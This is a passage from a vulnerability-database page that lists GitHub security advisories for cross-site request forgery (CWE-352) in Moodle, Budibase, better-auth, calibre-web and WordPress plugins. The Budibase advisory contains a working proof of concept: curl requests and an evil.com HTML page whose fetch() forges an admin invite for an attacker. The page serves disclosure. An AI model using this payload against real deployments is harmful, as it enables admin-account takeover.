CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14161 vulnerabilities reference this CWE, most recent first.
GHSA-WXMQ-V9GX-75PG
Vulnerability from github – Published: 2023-03-23 21:30 – Updated: 2024-04-19 15:30The link to reset all templates of a database activity did not include the necessary token to prevent a CSRF risk.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28335"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-23T23:08:33Z",
"nvd_published_at": "2023-03-23T21:15:00Z",
"severity": "HIGH"
},
"details": "The link to reset all templates of a database activity did not include the necessary token to prevent a CSRF risk.",
"id": "GHSA-wxmq-v9gx-75pg",
"modified": "2024-04-19T15:30:46Z",
"published": "2023-03-23T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28335"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/355556c05f4a6d9e223164eff820cd34eb70cc35"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2179424"
},
{
"type": "WEB",
"url": "https://git.moodle.org/gw?p=moodle.git;a=commitdiff;h=355556c05f4a6d9e223164eff820cd34eb70cc35"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=445067"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Moodle vulnerable to Cross-site Request Forgery"
}
GHSA-WXPM-6QQJ-JG73
Vulnerability from github – Published: 2023-05-10 06:30 – Updated: 2024-04-04 03:58Cross-site request forgery (CSRF) vulnerability in LIQUID SPEECH BALLOON versions prior to 1.2 allows a remote unauthenticated attacker to hijack the authentication of a user and to perform unintended operations by having a user view a malicious page.
{
"affected": [],
"aliases": [
"CVE-2023-27889"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-10T06:15:14Z",
"severity": "HIGH"
},
"details": "Cross-site request forgery (CSRF) vulnerability in LIQUID SPEECH BALLOON versions prior to 1.2 allows a remote unauthenticated attacker to hijack the authentication of a user and to perform unintended operations by having a user view a malicious page.",
"id": "GHSA-wxpm-6qqj-jg73",
"modified": "2024-04-04T03:58:38Z",
"published": "2023-05-10T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27889"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN99657911"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/liquid-speech-balloon/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXQ7-X3QP-VCR8
Vulnerability from github – Published: 2026-06-12 18:23 – Updated: 2026-06-12 18:23Summary
The buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.
CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in server/middleware/utils.ts but left backend-core/middleware/matchers.ts untouched.
Details
Root cause — packages/backend-core/src/middleware/matchers.ts:
export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => {
return patterns.map(pattern => {
let route = pattern.route
// replaces :param segments with /.*
const matches = route.match(PARAM_REGEX)
if (matches) {
for (let match of matches) {
const suffix = match.endsWith("/") ? "/" : ""
route = route.replace(match, "/.*" + suffix)
}
}
return { regex: new RegExp(route), method, route }
// ^ no ^ anchor, no $ anchor — matches anywhere in string
})
}
export const matches = (ctx: Ctx, options: RegexMatcher[]) => {
return options.find(({ regex, method }) => {
const urlMatch = regex.test(ctx.request.url) // full URL including query string
const methodMatch = method === "ALL" ? true
: ctx.request.method.toLowerCase() === method.toLowerCase()
return urlMatch && methodMatch
})
}
Two compounding bugs identical to the patched CVE:
1. new RegExp(route) — no ^ start anchor, no $ end anchor.
2. ctx.request.url — full URL string including ?query=value, not just the path.
CSRF middleware — packages/backend-core/src/middleware/csrf.ts:
export function csrf(
opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }
) {
const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)
return (async (ctx: Ctx, next: Next) => {
const found = matches(ctx, noCsrfOptions)
if (found) {
return next() // <-- CSRF check entirely skipped when pattern matches
}
// ... CSRF token validation ...
}) as Middleware
}
Worker registration — packages/worker/src/api/index.ts:
const NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]
// PUBLIC_ENDPOINTS includes (among others):
// { route: "/api/global/auth/:tenantId", method: "POST" }
// { route: "/api/global/users/init", method: "POST" }
// { route: "/api/system/restored", method: "POST" }
router
.use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))
buildMatcherRegex compiles "/api/global/auth/:tenantId" into the regex /api/global/auth/.* (via PARAM_REGEX replacing /:tenantId → /.*). Since the regex is unanchored, it matches the substring "/api/global/auth/" anywhere in ctx.request.url — including inside a query string parameter on a completely different endpoint.
Triggering condition:
POST /api/global/users/invite?x=/api/global/auth/evil
ctx.request.url="/api/global/users/invite?x=/api/global/auth/evil"new RegExp("/api/global/auth/.*").test(ctx.request.url)→true(substring found in query string)ctx.request.method === "POST"→truematches()returns the pattern entry → CSRF skipped- The protected user-invite POST proceeds without any CSRF token
Additional affected middleware (same matches() call):
| Middleware | Pattern list | Security effect when bypassed |
|---|---|---|
csrf() |
NO_CSRF_ENDPOINTS |
CSRF token validation skipped |
tenancy() |
NO_TENANCY_ENDPOINTS |
allowNoTenant = true, bypasses tenant ID requirement |
authenticated() |
PUBLIC_ENDPOINTS |
Marks endpoint as publicEndpoint = true |
The NO_TENANCY_ENDPOINTS entry { route: "/api/system", method: "ALL" } compiles to /api/system (no param replacement). Since method: "ALL" matches every HTTP verb and the pattern is unanchored, any request with ?x=/api/system/x in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.
PoC
Prerequisites: Victim user is logged into a Budibase Worker instance (e.g., https://budibase.target.com) in their browser. Attacker hosts a page at https://evil.com.
Step 1 — Verify CSRF is normally enforced:
# Without the bypass — CSRF token missing → rejected
curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \
-H 'Cookie: <victim_session>' \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
-v
# → HTTP 403 CSRF token mismatch
Step 2 — CSRF bypass via query string injection:
# With the bypass — append a public-route pattern in the query string
curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \
-H 'Cookie: <victim_session>' \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
-v
# → HTTP 200 OK — invite created, no CSRF token required
Step 3 — Cross-site exploitation (victim visits attacker page):
<!-- https://evil.com/csrf.html -->
<html>
<body>
<script>
fetch(
'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil',
{
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
email: 'attacker@evil.com',
roleId: 'ADMIN',
userInfo: {}
})
}
)
.then(r => r.json())
.then(d => console.log('Invite sent:', d))
</script>
</body>
</html>
When the authenticated victim visits https://evil.com/csrf.html, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches /api/global/auth/.* in the query string, skips validation, and processes the admin invite.
Impact
An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:
- User management: send admin/operator invites, delete users, modify roles
- Global configuration: update authentication settings (SSO, OIDC, SMTP), change branding
- Tenant administration: in multi-tenant instances, tenant isolation bypass via
NO_TENANCY_ENDPOINTS(/api/systemmatch) combined with the CSRF bypass allows cross-tenant administrative actions
The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version 3.32.3, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in packages/backend-core/src/middleware/matchers.ts, which was not addressed by the patch for that CVE.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/backend-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.35.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48147"
],
"database_specific": {
"cwe_ids": [
"CWE-185",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T18:23:41Z",
"nvd_published_at": "2026-05-27T18:16:27Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.\n\nCVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched.\n\n---\n\n### Details\n\n**Root cause \u2014 `packages/backend-core/src/middleware/matchers.ts`:**\n\n```typescript\nexport const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] =\u003e {\n return patterns.map(pattern =\u003e {\n let route = pattern.route\n // replaces :param segments with /.*\n const matches = route.match(PARAM_REGEX)\n if (matches) {\n for (let match of matches) {\n const suffix = match.endsWith(\"/\") ? \"/\" : \"\"\n route = route.replace(match, \"/.*\" + suffix)\n }\n }\n return { regex: new RegExp(route), method, route }\n // ^ no ^ anchor, no $ anchor \u2014 matches anywhere in string\n })\n}\n\nexport const matches = (ctx: Ctx, options: RegexMatcher[]) =\u003e {\n return options.find(({ regex, method }) =\u003e {\n const urlMatch = regex.test(ctx.request.url) // full URL including query string\n const methodMatch = method === \"ALL\" ? true\n : ctx.request.method.toLowerCase() === method.toLowerCase()\n return urlMatch \u0026\u0026 methodMatch\n })\n}\n```\n\nTwo compounding bugs identical to the patched CVE:\n1. `new RegExp(route)` \u2014 no `^` start anchor, no `$` end anchor.\n2. `ctx.request.url` \u2014 full URL string including `?query=value`, not just the path.\n\n---\n\n**CSRF middleware \u2014 `packages/backend-core/src/middleware/csrf.ts`:**\n\n```typescript\nexport function csrf(\n opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }\n) {\n const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)\n return (async (ctx: Ctx, next: Next) =\u003e {\n const found = matches(ctx, noCsrfOptions)\n if (found) {\n return next() // \u003c-- CSRF check entirely skipped when pattern matches\n }\n // ... CSRF token validation ...\n }) as Middleware\n}\n```\n\n---\n\n**Worker registration \u2014 `packages/worker/src/api/index.ts`:**\n\n```typescript\nconst NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]\n// PUBLIC_ENDPOINTS includes (among others):\n// { route: \"/api/global/auth/:tenantId\", method: \"POST\" }\n// { route: \"/api/global/users/init\", method: \"POST\" }\n// { route: \"/api/system/restored\", method: \"POST\" }\n\nrouter\n .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))\n```\n\n`buildMatcherRegex` compiles `\"/api/global/auth/:tenantId\"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` \u2192 `/.*`). Since the regex is unanchored, it matches the substring `\"/api/global/auth/\"` **anywhere** in `ctx.request.url` \u2014 including inside a query string parameter on a completely different endpoint.\n\n**Triggering condition:**\n\n```\nPOST /api/global/users/invite?x=/api/global/auth/evil\n```\n\n- `ctx.request.url` = `\"/api/global/users/invite?x=/api/global/auth/evil\"`\n- `new RegExp(\"/api/global/auth/.*\").test(ctx.request.url)` \u2192 `true` (substring found in query string)\n- `ctx.request.method === \"POST\"` \u2192 `true`\n- `matches()` returns the pattern entry \u2192 CSRF skipped\n- The protected user-invite POST proceeds without any CSRF token\n\n---\n\n**Additional affected middleware (same `matches()` call):**\n\n| Middleware | Pattern list | Security effect when bypassed |\n|---|---|---|\n| `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped |\n| `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement |\n| `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` |\n\nThe `NO_TENANCY_ENDPOINTS` entry `{ route: \"/api/system\", method: \"ALL\" }` compiles to `/api/system` (no param replacement). Since `method: \"ALL\"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.\n\n---\n\n### PoC\n\n**Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`.\n\n**Step 1 \u2014 Verify CSRF is normally enforced:**\n\n```bash\n# Without the bypass \u2014 CSRF token missing \u2192 rejected\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite\u0027 \\\n -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n -v\n# \u2192 HTTP 403 CSRF token mismatch\n```\n\n**Step 2 \u2014 CSRF bypass via query string injection:**\n\n```bash\n# With the bypass \u2014 append a public-route pattern in the query string\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027 \\\n -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n -v\n# \u2192 HTTP 200 OK \u2014 invite created, no CSRF token required\n```\n\n**Step 3 \u2014 Cross-site exploitation (victim visits attacker page):**\n\n```html\n\u003c!-- https://evil.com/csrf.html --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\n \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027,\n {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n body: JSON.stringify({\n email: \u0027attacker@evil.com\u0027,\n roleId: \u0027ADMIN\u0027,\n userInfo: {}\n })\n }\n)\n.then(r =\u003e r.json())\n.then(d =\u003e console.log(\u0027Invite sent:\u0027, d))\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim\u0027s session cookie. The Worker\u0027s CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite.\n\n---\n\n### Impact\n\nAn unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:\n\n- **User management**: send admin/operator invites, delete users, modify roles\n- **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding\n- **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions\n\nThe vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.",
"id": "GHSA-wxq7-x3qp-vcr8",
"modified": "2026-06-12T18:23:41Z",
"published": "2026-06-12T18:23:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-wxq7-x3qp-vcr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48147"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker "
}
GHSA-WXR6-29PV-CH68
Vulnerability from github – Published: 2022-01-21 23:44 – Updated: 2022-01-19 14:24calibre-web is vulnerable to Cross-Site Request Forgery (CSRF)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "calibreweb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-4164"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-19T14:24:33Z",
"nvd_published_at": "2022-01-17T13:15:00Z",
"severity": "HIGH"
},
"details": "calibre-web is vulnerable to Cross-Site Request Forgery (CSRF)",
"id": "GHSA-wxr6-29pv-ch68",
"modified": "2022-01-19T14:24:33Z",
"published": "2022-01-21T23:44:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4164"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/commit/785726deee13b4d56f6c3503dd57c1e3eb7d6f30"
},
{
"type": "PACKAGE",
"url": "https://github.com/janeczku/calibre-web"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/2debace1-a0f3-45c1-95fa-9d0512680758"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "calibre-web is vulnerable to Cross-Site Request Forgery (CSRF)"
}
GHSA-WXW3-Q3M9-C3JR
Vulnerability from github – Published: 2026-05-15 17:33 – Updated: 2026-05-15 17:33Am I affected?
Users are affected if all of the following are true:
- The application uses
better-authat a version below1.6.2(or@better-auth/ssopaired with such a version). betterAuth({ account: { storeStateStrategy } })is set to"cookie". The default"database"is not affected.- The application wires at least one OAuth provider through
genericOAuth({ config })withpkce: false, or it supplies a customgetTokenortokenUrlthat does not require the storedcodeVerifier. Stock social providers with PKCE on are not affected. - The provider returns arbitrary
codevalues to the configured callback URL.
If users are on better-auth@1.6.2 or later, they are not affected.
Fix:
- Upgrade to
better-auth@1.6.2or later (current stable is1.6.10). - If users cannot upgrade, see workarounds below.
Summary
In parseGenericState, the cookie branch decrypted the oauth_state cookie and validated expiry, but did not compare the incoming OAuth state query parameter to the nonce that generateGenericState issued at sign-in. Any callback to /api/auth/oauth2/callback/<providerId> that arrived with a forged state and any code was therefore accepted as long as the browser still held a live oauth_state cookie. With pkce: false (or any getToken path that does not enforce a code-verifier round-trip), an attacker who forced the victim to deliver an attacker-controlled authorization code to the callback would mint a session bound to the attacker's external identity in the victim's browser. Account-linking flows behaved the same way, binding the attacker's external account to an authenticated victim row.
Details
The cookie branch of parseGenericState did not compare the cookie's stored nonce to the incoming state parameter. The database branch (the default) was not affected because the verification row is keyed by state and the lookup itself enforces equality.
The fix re-binds the cookie to the nonce: generateGenericState writes oauthState: state into the encrypted payload before storage, and parseGenericState rejects when parsedData.oauthState !== state. The same primitive covers every caller (generic-oauth, social, account-link, oauth-proxy passthrough, OIDC SSO, SAML relay state).
Patches
Fixed in better-auth@1.6.2 via PR #8949 (commit 9deb7936a, merged 2026-04-09). The cookie branch of parseGenericState now rejects when the encrypted payload's nonce does not match the incoming state parameter; the database branch gained a defense-in-depth equality check.
Workarounds
If users cannot upgrade immediately:
- Switch
storeStateStrategyback to"database"(the default). This closes the cookie-only bypass without a code change. - Enable
pkce: trueon every affectedgenericOAuthprovider. ThecodeVerifieris the missing primitive that the attacker cannot supply.
Impact
- Forced-login (CSRF on OAuth callback): the attacker forces the victim's browser into an authenticated session bound to the attacker's external identity, allowing the attacker to observe the victim's actions inside the application.
- Persistent account linking: account-link flows bind the attacker's external account to the victim's authenticated row, granting persistent access until the link is removed.
Credit
Reported by @Jvr2022 via private advisory disclosure, and by @alavesa (PatchPilots audit) via the public duplicate issue #8897.
Resources
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "better-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-345",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T17:33:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- The application uses `better-auth` at a version below `1.6.2` (or `@better-auth/sso` paired with such a version).\n- `betterAuth({ account: { storeStateStrategy } })` is set to `\"cookie\"`. The default `\"database\"` is not affected.\n- The application wires at least one OAuth provider through `genericOAuth({ config })` with `pkce: false`, or it supplies a custom `getToken` or `tokenUrl` that does not require the stored `codeVerifier`. Stock social providers with PKCE on are not affected.\n- The provider returns arbitrary `code` values to the configured callback URL.\n\nIf users are on `better-auth@1.6.2` or later, they are not affected.\n\nFix:\n\n1. Upgrade to `better-auth@1.6.2` or later (current stable is `1.6.10`).\n2. If users cannot upgrade, see workarounds below.\n\n### Summary\n\nIn `parseGenericState`, the cookie branch decrypted the `oauth_state` cookie and validated expiry, but did not compare the incoming OAuth `state` query parameter to the nonce that `generateGenericState` issued at sign-in. Any callback to `/api/auth/oauth2/callback/\u003cproviderId\u003e` that arrived with a forged `state` and any `code` was therefore accepted as long as the browser still held a live `oauth_state` cookie. With `pkce: false` (or any `getToken` path that does not enforce a code-verifier round-trip), an attacker who forced the victim to deliver an attacker-controlled authorization code to the callback would mint a session bound to the attacker\u0027s external identity in the victim\u0027s browser. Account-linking flows behaved the same way, binding the attacker\u0027s external account to an authenticated victim row.\n\n### Details\n\nThe cookie branch of `parseGenericState` did not compare the cookie\u0027s stored nonce to the incoming `state` parameter. The database branch (the default) was not affected because the verification row is keyed by `state` and the lookup itself enforces equality.\n\nThe fix re-binds the cookie to the nonce: `generateGenericState` writes `oauthState: state` into the encrypted payload before storage, and `parseGenericState` rejects when `parsedData.oauthState !== state`. The same primitive covers every caller (`generic-oauth`, social, account-link, oauth-proxy passthrough, OIDC SSO, SAML relay state).\n\n### Patches\n\nFixed in `better-auth@1.6.2` via [PR #8949](https://github.com/better-auth/better-auth/pull/8949) (commit `9deb7936a`, merged 2026-04-09). The cookie branch of `parseGenericState` now rejects when the encrypted payload\u0027s nonce does not match the incoming `state` parameter; the database branch gained a defense-in-depth equality check.\n\n### Workarounds\n\nIf users cannot upgrade immediately:\n\n- **Switch `storeStateStrategy` back to `\"database\"`** (the default). This closes the cookie-only bypass without a code change.\n- **Enable `pkce: true`** on every affected `genericOAuth` provider. The `codeVerifier` is the missing primitive that the attacker cannot supply.\n\n### Impact\n\n- **Forced-login (CSRF on OAuth callback)**: the attacker forces the victim\u0027s browser into an authenticated session bound to the attacker\u0027s external identity, allowing the attacker to observe the victim\u0027s actions inside the application.\n- **Persistent account linking**: account-link flows bind the attacker\u0027s external account to the victim\u0027s authenticated row, granting persistent access until the link is removed.\n\n### Credit\n\nReported by @Jvr2022 via private advisory disclosure, and by @alavesa (PatchPilots audit) via the public duplicate [issue #8897](https://github.com/better-auth/better-auth/issues/8897).\n\n### Resources\n\n- [CWE-352: Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [RFC 6749 \u00a710.12: Cross-Site Request Forgery](https://datatracker.ietf.org/doc/html/rfc6749#section-10.12)\n- [RFC 7636: Proof Key for Code Exchange](https://datatracker.ietf.org/doc/html/rfc7636)",
"id": "GHSA-wxw3-q3m9-c3jr",
"modified": "2026-05-15T17:33:40Z",
"published": "2026-05-15T17:33:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-wxw3-q3m9-c3jr"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/issues/8897"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/pull/8949"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/commit/9deb7936aba7931f2db4b460141f476508f11bfd"
},
{
"type": "PACKAGE",
"url": "https://github.com/better-auth/better-auth"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Better Auth: OAuth callback accepts mismatched `state` when cookie-backed state storage is used without PKCE"
}
GHSA-X22F-54F8-8RXX
Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:47Cross-Site Request Forgery (CSRF) vulnerability in Made with Fuel Better Notifications for WP plugin <= 1.9.2 versions.
{
"affected": [],
"aliases": [
"CVE-2023-32964"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T15:15:13Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Made with Fuel Better Notifications for WP plugin \u003c=\u00a01.9.2 versions.",
"id": "GHSA-x22f-54f8-8rxx",
"modified": "2024-04-04T05:47:06Z",
"published": "2023-07-06T21:15:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32964"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/bnfw/wordpress-better-notifications-for-wp-plugin-1-9-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X23C-V5HM-X538
Vulnerability from github – Published: 2022-05-17 02:16 – Updated: 2022-05-17 02:16The Comcast firmware on Arris TG1682G (eMTA&DOCSIS version 10.0.132.SIP.PC20.CT, software version TG1682_2.2p7s2_PROD_sey) devices allows configuration changes via CSRF.
{
"affected": [],
"aliases": [
"CVE-2017-9490"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-31T03:29:00Z",
"severity": "HIGH"
},
"details": "The Comcast firmware on Arris TG1682G (eMTA\u0026DOCSIS version 10.0.132.SIP.PC20.CT, software version TG1682_2.2p7s2_PROD_sey) devices allows configuration changes via CSRF.",
"id": "GHSA-x23c-v5hm-x538",
"modified": "2022-05-17T02:16:22Z",
"published": "2022-05-17T02:16:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9490"
},
{
"type": "WEB",
"url": "https://github.com/BastilleResearch/CableTap/blob/master/doc/advisories/bastille-33.cross-site-request-forgery.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X24M-WR2F-P3VC
Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2022-12-06 21:58A cross-site request forgery vulnerability in Jenkins Google Compute Engine Plugin 4.1.1 and earlier in ComputeEngineCloud#doProvision could be used to provision new agents. Google Compute Engine Plugin 4.2.0 requires POST requests for this API endpoint.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:google-compute-engine"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-16548"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-06T21:58:52Z",
"nvd_published_at": "2019-11-21T15:15:00Z",
"severity": "MODERATE"
},
"details": "A cross-site request forgery vulnerability in Jenkins Google Compute Engine Plugin 4.1.1 and earlier in ComputeEngineCloud#doProvision could be used to provision new agents. Google Compute Engine Plugin 4.2.0 requires POST requests for this API endpoint.\n\n",
"id": "GHSA-x24m-wr2f-p3vc",
"modified": "2022-12-06T21:58:52Z",
